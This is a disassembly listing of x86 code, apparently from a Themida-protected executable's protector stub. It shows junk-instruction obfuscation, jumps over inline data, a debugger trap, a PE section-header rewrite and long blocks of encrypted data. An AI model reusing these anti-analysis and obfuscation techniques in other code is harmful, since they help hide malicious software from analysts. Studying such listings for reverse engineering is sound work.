		dd 6EB0F8CEh
		db 30h,	12h, 4Bh
; ---------------------------------------------------------------------------


loc_5B5383:				; CODE XREF: Themida_:005B536Ej
					; Themida_:005B5374j
					; DATA XREF: ...
		push	ecx
		pusha
		jmp	loc_5B539D
; ---------------------------------------------------------------------------
		dw 1BE8h
		dd 9A12F958h, 8E7C9491h, 4D0D9697h, 0BDE963CBh
		db 7Ah
; ---------------------------------------------------------------------------


loc_5B539D:				; CODE XREF: Themida_:005B5385j
		popa
		push	edx
		pusha
		call	sub_5B53B5
		inc	ebp
		movsd
		jnz	short loc_5B53CB
		cmp	bl, cl
		sub	al, 96h
		add	al, 3
		iret
; ---------------------------------------------------------------------------
		dd 0FEA8D33Fh
		db 70h

; =============== S U B	R O U T	I N E =======================================



sub_5B53B5	proc near		; CODE XREF: Themida_:005B53A0p
		pusha
		popa
		pop	edi
		pusha
		call	near ptr loc_5B53C7+1
		cwde
		mov	edx, 0AC336552h
		mov	[ebx], ecx
		xchg	eax, ecx


loc_5B53C7:				; CODE XREF: sub_5B53B5+4p
		cmp	ebx, [ebx+61h]
sub_5B53B5	endp ; sp-analysis failed

		popa


loc_5B53CB:				; CODE XREF: Themida_:005B53A7j
		call	$+5
		pop	edx
		sub	edx, 61AC7F1h
		jmp	loc_5B53E7
; ---------------------------------------------------------------------------
		dd 0BCCBA816h, 7A9CECFFh
		db 77h,	0EEh, 0C3h
; ---------------------------------------------------------------------------


loc_5B53E7:				; CODE XREF: Themida_:005B53D7j
		jmp	loc_5B53FC
; ---------------------------------------------------------------------------
		dd 6EF82C55h, 6133A8h, 3A13B7DDh, 7C54424Dh
; ---------------------------------------------------------------------------


loc_5B53FC:				; CODE XREF: Themida_:loc_5B53E7j
		pusha
		mov	edx, 7505BD7Bh
		movsx	ebx, si
		popa
		mov	ecx, eax
		cmc
		call	sub_5B52B8
		jns	loc_5B541C
		jno	loc_5B541C
		pusha
		popa


loc_5B541C:				; CODE XREF: Themida_:005B540Ej
					; Themida_:005B5414j
		pusha
		jmp	loc_5B5435
; ---------------------------------------------------------------------------
		dw 0B205h
		dd 98BBF630h, 249BCEB0h, 0EC226185h, 15F3BFD1h
		db 0EBh
; ---------------------------------------------------------------------------


loc_5B5435:				; CODE XREF: Themida_:005B541Dj
		mov	si, 0DEAh
		popa
		xor	edx, edx
		stc
		pusha
		add	dx, 8C8Ah
		popa
		div	ecx
		pusha
		movzx	ebx, ax
		movsx	eax, si
		popa
		mov	eax, edx
		jmp	loc_5B5462
; ---------------------------------------------------------------------------
		db 21h,	0B6h, 13h
		dd 0A2D2C30Bh, 0F09435CEh
		db 15h,	2Ah
; ---------------------------------------------------------------------------


loc_5B5462:				; CODE XREF: Themida_:005B5450j
		pop	edx
		pusha
		movzx	edi, bx
		popa
		pop	ecx
		cmc
		retn
; ---------------------------------------------------------------------------
		stc
		mov	eax, eax
		jmp	loc_5B547D
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0C0EDB50Fh, 85A17723h
; ---------------------------------------------------------------------------
		pushf


loc_5B547D:				; CODE XREF: Themida_:005B546Ej
		mov	eax, eax
		pusha
		mov	dl, 41h
		jz	loc_5B548E
		add	esi, 6D5D8AD4h


loc_5B548E:				; CODE XREF: Themida_:005B5482j
		popa
		lea	eax, [ebp+61A91DDh]
		pusha
		jnz	loc_5B549E
		mov	al, bl


loc_5B549E:				; CODE XREF: Themida_:005B5496j
		mov	ax, di
		popa
		call	eax
		stc
		jmp	loc_5B54B5
; ---------------------------------------------------------------------------
		dw 8E8Ch
		dd 83A40867h, 0A88DF01Ch
		db 0E8h
; ---------------------------------------------------------------------------


loc_5B54B5:				; CODE XREF: Themida_:005B54A5j
		mov	ax, cx
		jns	loc_5B54C5
		jl	loc_5B54C5
		cmc


loc_5B54C5:				; CODE XREF: Themida_:005B54B8j
					; Themida_:005B54BEj
		lea	eax, [ebp+61AC6D9h]
		jmp	loc_5B54D5
; ---------------------------------------------------------------------------
		dd 146ACD3Bh
		db 2Dh
; ---------------------------------------------------------------------------


loc_5B54D5:				; CODE XREF: Themida_:005B54CBj
		mov	[ebp+614216Dh],	eax
		jmp	loc_5B54ED
; ---------------------------------------------------------------------------
		dd 5F7E8F4Bh, 0BF98C03Ch, 53D65D30h
		db 0C0h
; ---------------------------------------------------------------------------


loc_5B54ED:				; CODE XREF: Themida_:005B54DBj
		lea	eax, [ebp+61AC7A4h]
		stc
		mov	[ebp+6142C25h],	eax
		stc
		mov	eax, 0
		jb	loc_5B5517
		jmp	loc_5B5517
; ---------------------------------------------------------------------------
		db 0F0h
		dd 68F091BEh, 74699AFAh
		db 80h,	0B9h, 11h
; ---------------------------------------------------------------------------


loc_5B5517:				; CODE XREF: Themida_:005B5500j
					; Themida_:005B5506j
		or	eax, eax
		jz	loc_5B5672
		clc
		mov	byte ptr [ebp+6141A59h], 56h
		pusha
		popa
		push	0A9C530DFh
		pusha
		sub	bx, 97Ah
		sbb	ecx, 42B84CF0h
		popa
		push	dword ptr [ebp+6141AD1h]
		jb	near ptr loc_5B555D+4
		pusha
		js	$+6
		call	near ptr loc_5B555D+2
		pop	eax
		db	65h
		inc	ecx
		into
		pop	edx
		dec	ebp
		bound	eax, [edi]
		jb	short loc_5B5580


loc_5B555D:				; CODE XREF: Themida_:005B554Ep
					; Themida_:005B5541j
		imul	esp, [ebx-7A729EA5h], 61780DBh
		jmp	loc_5B557D
; ---------------------------------------------------------------------------
		dd 0F51E9EBBh, 9A2E821Eh, 44357E45h, 0A24008F3h
		db 24h
; ---------------------------------------------------------------------------


loc_5B557D:				; CODE XREF: Themida_:005B5567j
		call	eax
		pusha


loc_5B5580:				; CODE XREF: Themida_:005B555Bj
		mov	cl, 0CFh
		add	edi, 25E2942Ah
		popa
		push	eax
		jmp	loc_5B55A2
; ---------------------------------------------------------------------------
		db 6Fh
		dd 0E9653017h, 192DD69Fh, 64601586h, 53FFC980h
		db 5Bh,	0E2h
; ---------------------------------------------------------------------------


loc_5B55A2:				; CODE XREF: Themida_:005B558Aj
		jo	loc_5B55B4
		jle	loc_5B55B4
		jg	$+6


loc_5B55B4:				; CODE XREF: Themida_:loc_5B55A2j
					; Themida_:005B55A8j
		lea	ecx, [ebp+6140095h]
		pusha
		mov	bx, 0B3D9h
		mov	ax, 0F5AAh
		popa
		push	ecx
		js	loc_5B55D0
		pusha
		mov	si, bx
		popa


loc_5B55D0:				; CODE XREF: Themida_:005B55C5j
		jo	loc_5B55E2
		pusha
		mov	di, 0Ch
		adc	eax, 3AE48508h
		popa


loc_5B55E2:				; CODE XREF: Themida_:loc_5B55D0j
		push	4
		pusha
		movsx	edx, di
		push	ebx
		stc
		pop	esi
		popa
		push	1000h
		pusha
		mov	di, 0AE92h
		push	esi
		pusha
		popa
		pop	eax
		popa
		push	dword ptr [ebp+61424F9h]
		jo	loc_5B5608
		cmc


loc_5B5608:				; CODE XREF: Themida_:005B5601j
		call	eax
		jmp	loc_5B561F
; ---------------------------------------------------------------------------
		db 11h
; ---------------------------------------------------------------------------
		cdq
		mov	word ptr [ebx-470C8BEEh], ds
		test	[edi+4Dh], ch
		and	eax, 1AC4CC5Bh


loc_5B561F:				; CODE XREF: Themida_:005B560Aj
		mov	edi, [ebp+61424F9h]
		jmp	loc_5B5633
; ---------------------------------------------------------------------------
		dw 9B32h
; ---------------------------------------------------------------------------
		dec	eax
		xor	eax, [ecx]
		jmp	short loc_5B5661
; ---------------------------------------------------------------------------
		db 0E9h, 0BCh
; ---------------------------------------------------------------------------


loc_5B5633:				; CODE XREF: Themida_:005B5625j
		jmp	loc_5B5649
; ---------------------------------------------------------------------------
		dd 7FA13104h, 0F9B8EE6Ah, 0F6409CB2h, 0DE6040Bh
; ---------------------------------------------------------------------------
		popf


loc_5B5649:				; CODE XREF: Themida_:loc_5B5633j
		add	edi, [edi+3Ch]
		jp	loc_5B5653
		cld


loc_5B5653:				; CODE XREF: Themida_:005B564Cj
		add	edi, 0F8h
		jmp	loc_5B566A
; ---------------------------------------------------------------------------
		sub	al, 0E2h
		aas


loc_5B5661:				; CODE XREF: Themida_:005B562Fj
		int	3		; Trap to Debugger
		push	778C3536h
		loopne	near ptr loc_5B56DD+5
; ---------------------------------------------------------------------------
		db 19h
; ---------------------------------------------------------------------------


loc_5B566A:				; CODE XREF: Themida_:005B5659j
		mov	dword ptr [edi+24h], 60000020h
		clc


loc_5B5672:				; CODE XREF: Themida_:005B5519j
		lea	ebx, [ebp+6141135h]
		jnp	loc_5B5683
		pusha
		push	edi
		pop	ebx
		clc
		popa


loc_5B5683:				; CODE XREF: Themida_:005B5678j
		mov	eax, [ebx]
		jp	loc_5B568C
		cld


loc_5B568C:				; CODE XREF: Themida_:005B5685j
		or	eax, eax
		jz	loc_5B56D8
		jmp	loc_5B56AA
; ---------------------------------------------------------------------------
		db 0D5h, 8, 2
		dd 3087F21Ah, 9690F5h, 3A3C5938h
		db 30h,	8Eh
; ---------------------------------------------------------------------------


loc_5B56AA:				; CODE XREF: Themida_:005B5694j
		mov	eax, [eax]
		jmp	loc_5B56BD
; ---------------------------------------------------------------------------
		db 0CFh, 93h, 80h
		dd 4F5AC06Eh, 0F83BEDFEh
; ---------------------------------------------------------------------------
		xchg	eax, edi


loc_5B56BD:				; CODE XREF: Themida_:005B56ACj
		mov	[ebx+4], eax
		jg	loc_5B56D8
		jmp	loc_5B56D8
; ---------------------------------------------------------------------------
		db 99h
		dd 0E27CC865h, 8ABC08EFh, 0CEE74DD1h
; ---------------------------------------------------------------------------


loc_5B56D8:				; CODE XREF: Themida_:005B568Ej
					; Themida_:005B56C0j ...
		mov	ecx, 234CF6h


loc_5B56DD:				; CODE XREF: Themida_:005B5667j
		lea	ecx, [ebp+61ACBDCh]
		mov	esi, [ebp+6143445h]
		mov	[ebp+6143229h],	ecx
		push	0
		push	ecx
		call	sub_5B56FA
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B56FA	proc near		; CODE XREF: Themida_:005B56F2p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5B56FA	endp

; ---------------------------------------------------------------------------
		push	ds
		mov	esi, [ebp+6142B4Dh]
		mov	dword ptr [ebp+614064Dh], 658Ch
		push	0
		push	edx
		call	sub_5B5726
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B5726	proc near		; CODE XREF: Themida_:005B571Ep

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5B5726	endp

; ---------------------------------------------------------------------------
		dw 50F4h
		dd 0EE9F7h, 14220000h, 102AAEA5h, 3672A082h, 0B9BB5D9Fh
		dd 267185C7h, 614h, 5E90000h, 1F000000h, 0C295F1B6h, 2111B5FFh
		dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 2B16EBC3h, 0D1AB17D0h, 293384FCh,	142661B5h
		dd 6195FF06h, 0E9061423h, 0Ch, 0B0775C70h, 2D798CB7h, 41340172h
		dd 68F0Fh, 958B0000h, 6142B05h,	95FF006Ah, 6141169h, 29EBC08Bh
		dd 315ADA54h, 501453Fh,	6D439BCBh, 0EE143D7Dh, 0E39645C2h
		dd 405D2238h, 126661E1h, 0DC919211h, 0A5B69B70h, 0C5B3F6B8h
		dd 0BC8D8D2Fh, 6A061ACCh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 3543C351h, 8D89E0F7h
		dd 6143229h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	53C35040h, 64D85C7h, 62B00614h,	6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 7683B6C3h, 607A7756h, 615A5760h, 6830Fh, 958B0000h
		dd 6142B45h, 2DB58961h,	0C706141Ah, 14267185h, 6, 65952900h
		dd 0FF061423h, 140591B5h, 849CBA06h, 95FF22A5h,	6142361h
		dd 95FF006Ah, 6141169h,	7FEBC08Bh, 81F10A85h, 93CF64Bh
		dd 0E49E6129h, 5E7C44A0h, 299189E2h, 9E90CDD9h,	1602ECC5h
		dd 0F3FB98BCh, 1E0D2111h, 7B0A076Ah, 98F35457h,	53951878h
		dd 97F9609h, 7729371Ah,	0AFD77ED7h, 8C83941Eh, 3C6822C5h
		dd 25F8893Bh, 0CC00EA98h, 0BCAD817Bh, 0A336AEF9h, 9B985C03h
		dd 1303A81Eh, 5DDB8526h, 3953C55Fh, 0C4165A41h,	0CC5F8E54h
		dd 0BF2B9308h, 0CAEA5AADh, 0F91B2736h, 6AE03203h, 8D8436E9h
		dd 1ACDEC8Dh, 89F98B06h, 1432298Dh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 81B48019h
		dd 85C760B6h, 614064Dh,	6348h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 82C35040h, 2DB74BAh, 31452F7Bh
		dd 0C7F18B66h, 14267185h, 6, 0D8B70F00h, 0FFF7BF0Fh, 14220DB5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 9589A8E7h, 61420F1h, 0FFC2B70Fh,	14236195h
		dd 8BCB8006h, 95FF006Ah, 6141169h, 7EEBC08Bh, 0C239B284h
		dd 95075B56h, 5AEC6B8h,	0B2F7F7A2h, 0D847995Ah,	0F17F8E34h
		dd 0FD47A4FCh, 3473DED1h, 932CF6BBh, 709A26Fh, 0C8368563h
		dd 0A6EF2097h, 0C6DC9F6Fh, 0AB06D55Ah, 0F95EB5B6h, 0D46E0CE8h
		dd 974BF0CAh, 0C3368ECDh, 19FFCFh, 6865F965h, 3EE8EB19h
		dd 66915C0Ah, 0B3A9D802h, 0BE7E8C66h, 1B13C697h, 0EAF07C5h
		dd 5B27892h, 544DECBEh,	6AE8D7D1h, 0B7902A1h, 26798721h
		dd 27E97B13h, 1A000000h, 69DE2Eh, 8 dup(0)
		dd 47E90000h, 6800000Bh, 61AD022h, 0FA781DE9h, 0D14968FFh
		dd 13E9061Ah, 68FFFA78h, 61AD2DDh, 0FA7809E9h, 0D3E868FFh
		dd 0FFE9061Ah, 68FFFA77h, 61AD59Eh, 0FA77F5E9h,	0D76E68FFh
		dd 0EBE9061Ah, 68FFFA77h, 61AD891h, 0FA77E1E9h,	254DBFFFh
		dd 0A8C24054h, 2D3DC3D7h, 0AFB9485Ch, 363CCADEh, 0BEAB5065h
		dd 45592A48h, 0CDE1B2BEh, 53673838h, 89EBBCACh,	0C814A844h
		dd 39973047h, 4226D9E9h, 0AEBA4589h, 36F97EBh, 0D2FE624Ah
		dd 91F5174Fh, 7246C700h, 0FA96595Ah, 34105311h,	6D030054h
		dd 0E73A73B4h, 79119D56h, 0B304112h, 11A541F7h,	8C304113h
		dd 6DB16AFBh, 0D81BD494h, 96E872F4h, 882B3630h,	356FA731h
		dd 0A9A31EE1h, 50FA7CB6h, 4B78B142h, 2Fh, 1194Dh, 2068A13Dh
		dd 0B5ED3410h, 17866FBFh, 94710575h, 6924BDCh, 30417A6Eh
		dd 0D79ADC42h, 6FA79D34h, 0D427h, 23E03400h, 0D996144Dh
		dd 16894226h, 0F963F793h, 0DF52A2Ch, 0C063A45Dh, 4649B2Fh
		dd 8DD10A4Bh, 0FC40F979h, 4EA26503h, 1881BAB8h,	6C3D2BD4h
		dd 2C05C210h, 4127D82Ah, 0EAA2D70h, 2A2CFD7Ah, 0E72B64F5h
		dd 93975018h, 34B77A7Bh, 2CFE0498h, 0FD6B962Ah,	1D90C95Ah
		dd 1023B081h, 5324B534h, 0A366677Fh, 27CEA507h,	884BDC3Ah
		dd 0CFA0D234h, 0D96D098Ch, 542A2FA2h, 0C0468AC3h, 0A692E9B2h
		dd 9C17E0B9h, 93B4Eh, 6111FB00h, 0E4867C90h, 6901FF13h
		dd 0EB7D8498h, 7200061Ah, 0FA578CA1h, 8195660Ch, 91DEE82h
		dd 8FA374FCh, 0C527F870h, 0C950E480h, 6DCB3047h, 452DD91Dh
		dd 12AE3174h, 2A2CF97Eh, 0F3377001h, 488B5C0Ch,	0BCA04950h
		dd 70A9AD4Fh, 119F2h, 5119E93Dh, 0AB1E5798h, 101FD60Fh
		dd 510A9B34h, 41142DC5h, 68BC0130h, 0A0C52D9Eh,	2FB0F590h
		dd 95D1659Eh, 0A7FD29CCh, 6CDED66Fh, 0B8C129EEh, 0E8A1C738h
		dd 0B0DD16A7h, 0E1h, 9B26D9B2h,	2F16CF7Bh, 0A96CFDEFh
		dd 3F0E8CB1h, 0FF3876FEh, 0BEB45296h, 0C43E9205h, 93E16DA6h
		dd 762A2C54h, 0FA8EE422h, 0E5296208h, 3A7D4E1Ah, 195220E6h
		dd 853E2AD5h, 0A5686981h, 3832CE22h, 2D44C85Ch,	1EB2432Ah
		dd 8ECF88E2h, 7546E255h, 0F834106Ah, 4B059935h,	0F7883041h
		dd 0A9C19566h, 0C662E5A8h, 30414B32h, 0BA4EEAADh, 3530414Ah
		dd 67DA13A4h, 28075ACBh, 8FB8F3Ah, 0DD6EAF68h, 0BE43971Ah
		dd 801159A7h, 6F030347h, 0F67C8A9Eh, 0B9EA382Dh, 9CEA65E0h
		dd 814h, 0B788EA22h, 3A0B5FA3h,	0BF90DA26h, 411256ABh
		dd 0C899D92Dh, 0E5210EB3h, 5BA8BC8Dh, 0D5304415h, 49B6CA9Bh
		dd 0A7EC4E1Fh, 47CA770Bh, 4494F230h, 0C0AA56AAh, 0AFC34387h
		dd 8C35CADEh, 11A271CFh, 29FA8BE4h, 4226D9DBh, 2C1E1689h
		dd 11156932h, 5756C7FFh, 459BEF19h, 3137C80Ch, 73748C60h
		dd 0CCC314B0h, 35C63410h, 0A1C7387Ch, 2243BCD0h, 0F9778CE1h
		dd 0DA6EAF68h, 0FCB5462Ch, 0F6E7F770h, 98DE32B9h, 0B5B34CA0h
		dd 0A1C7387Ch, 2543BCD0h, 0D947E06Ch, 0DB1EAB7Fh, 0DA28BC58h
		dd 12A3AB7Fh, 362145D9h, 0BACE9FC9h, 0DE6A2345h, 0AB7FDA41h
		dd 0E077EFC5h, 6478491Fh, 80F5269Bh, 0B95E44C0h, 0FE8F2048h
		dd 4E1AE73Bh, 90A8AC15h, 8A78CC8Fh, 18B427E0h, 0A8DA8D84h
		dd 0ACE57607h, 0B1389D39h, 0C455B2BDh, 0A95CB0F3h, 11824020h
		dd 36C79B6Dh, 0E0E1F9FDh, 0A334811Dh, 0C519ACC9h, 34783141h
		dd 0D50E9FD1h, 8F23BF82h, 0AA8DA92h, 0A32FE879h, 0A8DA930Ah
		dd 75FC7AE0h, 0E840B1D2h, 3F3C5h, 41C4C700h, 6124253Dh
		dd 0F9AE42DEh, 0F9312A2Ch, 8DA823E5h, 3D7607F1h, 0CF347CAh
		dd 2962A35Ch, 10B4DC9Dh, 4820B134h, 306622FAh, 0B45C74AFh
		dd 7A958D8h, 19DC6DC1h,	2B05347Dh, 0CF8819BBh, 75FB085Ch
		dd 0C1BB123Dh, 0E51EEDE4h, 5C8C9E1h, 218B2669h,	0C78A1BB5h
		dd 31714C44h, 0F9C23F04h, 0E5837CC0h, 69FF0014h, 0A2F6A1A0h
		dd 1967E267h, 680h, 4B1C56B6h, 0CE9FCB37h, 532446BAh, 0D5A6C23Fh
		dd 5C2D45C1h, 51B59247h, 0C73C5021h, 41C4D8A9h,	0B54A5E2Fh
		dd 3B80E2B3h, 47CC0B9Fh, 0E0308E30h, 3D000119h,	0F98A1EBAh
		dd 74052A2Ch, 0DB2CC83Bh, 4E341001h, 3FC004BDh,	0EB6E6629h
		dd 5A9DAACFh, 4D75DE17h, 76F93F37h, 417C46DAh, 0CA35C930h
		dd 13A4E59Eh, 0BDBED6DAh, 840D5EFAh, 0EF803A24h, 89B1A92Ch
		dd 0F7D83C99h, 0A7B04420h, 9A2B2A2Dh, 4DFF0062h, 85BE265Ch
		dd 0EDC9C104h, 64F9806Fh, 40D47033h, 0BB2A2D8Bh, 52ADF12Ah
		dd 31C561E4h, 0AC2A2D8Bh, 8AAB3F1Bh, 9D2E2A2Dh,	0F00F530Ch
		dd 5CC0BF78h, 0B6B24D1Ah, 19AAA2E5h, 0F1D3DCDFh, 0CF72ACE5h
		dd 0C2699321h, 2B4h, 119C4h, 9C66BA3Dh,	690995CEh, 1C3417CBh
		dd 9274C88Bh, 0BFB0FE0h, 3DCE9C64h, 43BD1184h, 0C362EE27h
		dd 263047C7h, 4406712Eh, 70A9A56Fh, 0CC95D32Ch,	195EAE93h
		dd 75F341BCh, 0C1000005h, 4256274Bh, 0C5D9AAC0h, 4A5E2F3Bh
		dd 0CCE0B1B7h, 5267383Ah, 2C46C0ADh, 0B4BC475Bh, 3A36CFE3h
		dd 0BEAA5569h, 0AA468BEDh, 3047CD16h, 0AAEB3B99h, 6BFA956h
		dd 70293FC2h, 61659E2Fh, 0E9854849h, 3417CB49h,	7FF2AB3Ch
		dd 0D396DA2Bh, 47C7A337h, 5C952630h, 0B081E718h, 4205639Ch
		dd 0C78F23BFh, 760A3047h, 0B94DDE8Ch, 83EC254Dh, 0EFA8C03Fh
		dd 4EEA8CF0h, 0C79B2FCBh, 8D1E3047h, 0D2EF1054h, 0C44256D3h
		dd 0A467F8D0h, 0EEF18521h, 0DB6C3047h, 741721A2h, 216FAE11h
		dd 0CF3235CDh, 0E9FE099h, 0AEDB1455h, 1CCh, 9B26D9B0h
		dd 194D0A42h, 39F283A4h, 8D5E0AF5h, 0DDA0A1B9h,	3AF37789h
		dd 0B14DC0F9h, 341102C8h, 264AB90Dh, 3BD79AEDh,	3041E1A7h
		dd 3D009122h, 0E9541A45h, 1AB6ABF2h, 3041D486h,	0AEE77809h
		dd 0D521B945h, 4EB33041h, 0E91D611Ah, 0E135D089h, 0AFD02E85h
		dd 0ED023F85h, 0C2A40A5Ch, 0B347E366h, 363041ABh, 8F326CA5h
		dd 826FA7CAh, 44h, 0AC56AA84h, 92D82ABEh, 393D5559h, 0A7E8A1C9h
		dd 7CD05316h, 8622E583h, 2A2CF9F2h, 17A3DC6Dh, 34101FDEh
		dd 0CD5912A3h, 30411435h, 9670C409h, 20DF23DCh,	0EA7EB748h
		dd 3642E58Ch, 0A0356FA7h, 37000000h, 894226D9h,	0F8B1C145h
		dd 641D4BB4h, 0B889DF20h, 2C060E5Ch, 0FA095D2Ah, 346961CFh
		dd 5BECE07Ch, 0F9DBBAA2h, 2B3C7Ah, 0DF2366Fh, 9EB68A5Bh
		dd 473EDA9Dh, 0A2341419h, 7DB6B44Eh, 82D6992Ah,	91DEE84h
		dd 0DD1DCEFDh, 0DC63D4D8h, 5453824Bh, 0DD58E6ADh, 3BF8Fh
		dd 0DD957700h, 600AF80Ch, 0E5857B8Fh, 67010014h, 0EE848296h
		dd 76D3081Dh, 0FD11E290h, 85996A06h, 0B1FF080h,	41A374F4h
		dd 0CECC60FCh, 0F14F3047h, 452DD9A1h, 29DD3174h, 0F9E77B17h
		dd 0D1622A2Ch, 3CC30740h, 0D90D5B2Ch, 0A3C23F26h, 0EB7C0D5Dh
		dd 0A03CBF32h, 2A2CFA0Ch, 6206FB8Fh, 9ED768A9h,	0F2C3A55Ah
		dd 4205061Eh, 0F3B318EEh, 2A6D9E47h, 92053ECFh,	10B891F6h
		dd 8D29EC34h, 304180F9h, 9952E374h, 4180730Dh, 0F074A30h
		dd 82C5D9B2h, 0EB7FB863h, 3041C8Bh, 0A03FA440h,	469A3A24h
		dd 0B5F6AFB9h, 0C798297Ch, 6AD63084h, 2D923ACEh, 9324B52Ah
		dd 37CB67DAh, 0B22A2D92h, 0D9579021h, 181026D9h, 28B321E2h
		dd 12A682AEh, 8D2A2DCEh, 6EB26BFCh, 3206D791h, 0BA56191Ah
		dd 3410FED1h, 5EEAA334h, 3041DDC6h, 0FE01559Ah,	0D99D316Ah
		dd 0A7FCF598h, 3CE86Fh,	19EA0000h
		dd 0A13D0001h, 34102068h, 8322AEDh, 5493B5FFh, 7B790DE9h
		dd 38D43041h, 30417BA4h, 5FF39627h, 0CE0FC8A0h,	67F3AC3Dh
		dd 30417BCFh, 38393DA3h, 6FA79E95h, 0E588h, 26D98A00h
		dd 0F9E07410h, 956A2A2Ch, 0E9F30D3h, 3559534Bh,	48F1D02Ch
		dd 0E8214FB4h, 0A7CB3B7Fh, 31C561E4h, 0AC2A2DCAh, 4D2F0474h
		dd 1BAC368Eh, 0CA3579E2h, 5EA1E59Eh, 8FDD390Ah,	92A2C66h
		dd 10A440F6h, 8B2A2D5Eh, 559869FAh, 9B6A0501h, 0C70B44D5h
		dd 4773038h, 0E0194FB0h, 46C0C4DCh, 3CD89B2Ch, 34108DE3h
		dd 3004D566h, 541718h, 0D29E6700h, 8E47D819h, 5A1144Dh
		dd 3A28050Ch, 0A9FDC051h, 144155Dh, 5B1454ADh, 699DE11Ah
		dd 0EC234009h, 219CE0B9h, 1EFD3h, 0ADC54700h, 303AC8DCh
		dd 0B5B54B5Fh, 3731D0E4h, 0BEB45266h, 4623D8EDh, 0CDE1B2C0h
		dd 55693A36h, 0DBEFC0B0h, 11734424h, 0D09C30CCh, 0C11F3047h
		dd 9E2DD971h, 0BF625433h, 0E1A435FEh, 4C9B09E9h, 79B2818Ah
		dd 4D1BE4F8h, 0B2AA2E7Ch, 4A0C75Ah, 2A2DF870h, 0C3225AEBh
		dd 0FC003943h, 9D20E3E4h, 0E20F13A5h, 73ACDE38h, 10A7AEE7h
		dd 0C13F9334h, 76AFF0A9h, 66D99223h, 0B14DF112h, 30418C1Dh
		dd 0C57E0FA0h, 27BF4B84h, 0FB30418Ch, 0ED90D195h, 0E06FA7AEh
		dd 0D3h, 5FB2AAE2h, 1BC42E24h, 44BBFF38h, 0DF276B24h, 4EDA93h
		dd 7A2A2CAAh, 2820E385h, 0F81A1E57h, 5EEB952Eh,	0A02B9C9Ah
		dd 4155D60Fh, 0EDF1AABEh, 7511D4D5h, 3410851Ch,	0EBBF9021h
		dd 7004A0D3h, 0FA304164h, 1C46709h, 4164D165h, 2ABB4C30h
		dd 7E82D699h, 0B9F233ECh, 20D0AA46h, 0B0333A28h, 2FD88014h
		dd 316AFB2Ah, 78A4DDEh,	631C4CB3h, 0A78FEA22h, 0A5F097DEh
		dd 94DE286Ch, 1B57AFC3h, 0B9992F52h, 0CB1994E0h, 0CCh
		dd 0FFD0A26Ah, 825317EBh, 7D8926Eh, 895A0EF3h, 10E19175h
		dd 9D69C6FBh, 13F004D5h, 8D788C5Dh, 1FE12E3h, 0EF349667h
		dd 47D1BF53h, 8CDC3A30h, 565DB2AAh, 312CB730h, 2052B4F8h
		dd 0A4C43B4Fh, 0C43C90D3h, 0D9EF6DA6h, 45894226h, 9DDAEBAh
		dd 912DF0F1h, 3417CBEDh, 246FF90h, 869A6BFDh, 0B9484879h
		dd 0BE4454C9h, 0AE8742Dh, 0B9A07C57h, 0A9560165h, 46894318h
		dd 7C0DCA9Fh, 0EF1468ABh, 0C487C881h, 0BF49428h, 4D861794h
		dd 0B972F609h, 0A5358C75h, 3B9070FDh, 7509A568h, 0F8940B6Ch
		dd 0F51DD667h, 0E7340800h, 6FE5FD35h, 93C4A236h, 172BFC6Ch
		dd 1EB24EE8h, 0A1940B98h, 53C67F10h, 316A06FFh,	3E3h, 1BAB1300h
		dd 863F33D9h, 0F2ABBD42h, 601957AEh, 0D089E71Ch, 3FF87A8Ch
		dd 0AE670BFBh, 18D1976Ah, 853E2CD4h, 0F0A9C141h, 736568EAh
		dd 2C890000h, 4EC8324h,	68243C89h, 1081h, 68241C89h, 61ACEE6h
		dd 83243C8Bh, 8B5404C4h, 0C481241Ch, 4,	4EC81h,	4890000h
		dd 8B824h, 0D8010000h, 0FF583889h, 815B2434h, 4C4h, 243C8B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		align 2
		sbb	eax, 0B8F5481Dh
		sbb	cl, 1Ah
		push	es
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 10h
		dd 5A5ACF7Fh, 7F2D5533h, 2D0F3478h, 284F3B7Bh, 0B6755688h
		dd 434E307h, 234CE99Fh,	1B6DE3E6h, 0F55152D9h, 977125Fh
		dd 9011D5F1h, 0DA4B2324h, 0E81B1B33h, 12h, 7F0EB223h, 0DAD63271h
		dd 9D360034h, 1572D9E4h, 0C38BB534h, 0FE85Fh, 980B0000h
		dd 2A442620h, 5D012DCEh, 0DFE0AD7Dh, 0F18B66BCh, 16C78158h
		dd 0B6000071h, 0F014BB40h, 0EB8105ACh, 5ACD407h, 0CE960h
		dd 0C14E0000h, 438A0632h, 0D4035B92h, 8E90A49h,	0D4000000h
		dd 15D5E389h, 617E557Dh, 0FE90F8Bh, 0BC000000h,	2D62A9Ch
		dd 735EEFE8h, 0A2824AB4h, 0F181E79Eh, 48837070h, 42C181F5h
		dd 0F7DB6CBh, 580h, 0DC09B800h,	0F1812B7Fh, 46AAE659h
		dd 5E1F90BEh, 0BA66513Eh, 78F18C6h, 6840Fh, 0C6810000h
		dd 28373190h, 0B604EF83h, 1EB8181h, 0F000000h, 1585h, 0C28B6600h
		dd 21E9h, 1FF75A00h, 40F37CC7h,	6E95B527h, 8166EE83h, 0E918CCD6h
		dd 0FFFFFF84h, 454264AAh, 49D16h, 8D8D8366h, 61ADB82h
		dd 88A0Fh, 81500000h, 0A02BE1C6h, 8D895A03h, 6143229h
